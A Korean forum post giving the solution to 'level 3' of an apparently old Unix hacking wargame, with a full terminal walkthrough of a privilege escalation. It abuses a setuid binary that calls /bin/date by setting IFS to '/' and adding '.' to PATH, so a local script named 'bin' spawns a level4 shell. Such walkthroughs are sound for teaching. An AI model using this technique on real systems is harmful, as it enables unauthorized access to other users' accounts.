레벨3 질문좀...;;;
작성자 정보
- 햏자 작성
- 작성일
컨텐츠 정보
- 2,153 조회
- 0 추천
- 목록
본문
ㅡㅡ.. 그대로 따라하니까 안되죠 ^^;;
힌트는 힌트일뿐... 무조껀 따라만 하면 안되요...
뭐 연구를 해보셨다면 모르겠지만요.^^;;
아래에 답도 같이 적혀있으니까 이글 보시고 공부하세요 ^^ 그럼 홧팅!
-_-;; 이래도 될런지... ㅡㅡ.. ㅋㅋㅋ 수고...
level 3
이번 문제는 IFS(Internal Field Separator)의 헛점을 이용한 해킹이다.
IFS는 유닉스에서 외부프로그램을 실행할 때 입력되는 문자열을 나눌 때
기준이 되는 문자를 정의하는 변수이다.
기본적으로 IFS는 공란(Space)으로 정의된다(IFS=' '). 이 IFS를 슬래쉬
(/)로 바꾸고 싶다면 csh인 경우는 setenv IFS /, bash인 경우는 export
IFS='/'로 하면 변경된다.
먼저 find 명령으로 서모씨가 꽁꽁 숨겨놓은 화일을 찾으
면 /usr/man/pt_BR/man8/today라는 것을 알 수 있다.
이를 실행하면 01/10/00과 같이 표시되는데 이로써 우리는 today가 유닉스
에서 날짜를 보여주는 명령어인 /bin/date를 실행하도록 프로그램 되어있
음을 알 수 있다.
/usr/man/pt_BR/man8/today의 접근 권한을 보면 이 역시 level4로 suid 비
트가 설정되어 있다는 것을 알 수 있다. 이 사실과 위에서 말한 IFS의 보
안상 헛점을 이용하여 어떻게 level4의 패스워드를 알 수 있겠는가??
/usr/man/pt_BR/man8/today를 실행하면 /bin/date를 실행한다. 즉, /bin디
렉토리를 찾아서 그 아래의 date란 화일을 찾아서 실행하는 것이다. 그런
데 우리가 IFS를 /(slash)로 바꾸면 어떻게 되겠는가??
today를 실행하면 /bin/date를 실행하는데, IFS를 /로 바꾸었기 때문에
shell은 /bin/date -> bin date로 인식하게 된다. 즉, 현재 위치에서 bin
이란 화일을 찾아서 있으면 이를 실행하게 될 것이다. 그러므로 우리는
today를 실행하는 현재위치에 bin이라는 스크립트 화일을 만들어 그 안에
서 /bin/sh를 실행하게 되면 level4 사용자 권한으로 sh(shell)를 실행하
는 결과가 되므로 level4의 shell이 뜨게 될 것이다.
아래 그 과정을 보여준다.
[level3@drill level3]$find / -user level4 -group level3 -print
/usr/man/pt_BR/man8/today
[level3@drill level3]$ cd tmp
[level3@drill tmp]$
[level3@drill tmp]$ ls -l /usr/man/pt_BR/man8/today
-rws--x--- 1 level4 level3 13245 Aug 10
15:15 /usr/man/pt_BR/man8/today
[level3@drill tmp]$ln -s /usr/man/pt_BR/man8/today today
위는 /usr/man/pt_BR/man8/today를 현재위치에 today란 이름으로 링크를
시키는데 안해도 상관은 없다.
[level3@drill tmp]$ls -l
lrwxrwxrwx 1 level3 level3 25 Jan 10 10:36 today -
> /usr/man/pt_BR/man8/today
[level3@drill tmp]$./today
01/10/00
[level3@drill tmp]$cat > bin
/bin/sh
^D
[level3@drill tmp]$chmod 755 bin
[level3@drill tmp]$ls -l
-rwxr-xr-x 1 level3 level3 10 Jan 10 10:38 bin
lrwxrwxrwx 1 level3 level3 25 Jan 10 10:36 today -
> /usr/man/pt_BR/man8/today
이제 여기까지 IFS를 /로 바꾼후에 실행할 bin 이라는 스크립트를 /bin/sh
란 내용으로 만들어 실행가능 permission을 주었다.
이제 실제로 IFS를 /로 바꾸고 today를 실행시키자...
[level3@drill tmp]$IFS=/
[level3@drill tmp]$export IFS
[level3@drill tmp]$PATH=.:$PATH <-- 현재설정된 PATH에 .(자신의 디렉토
리)를 추가한다.
[level3@drill tmp]$,/today
bash$pass <-- level4 shell 상에서 pass 입력..
관련자료
-
이전
-
다음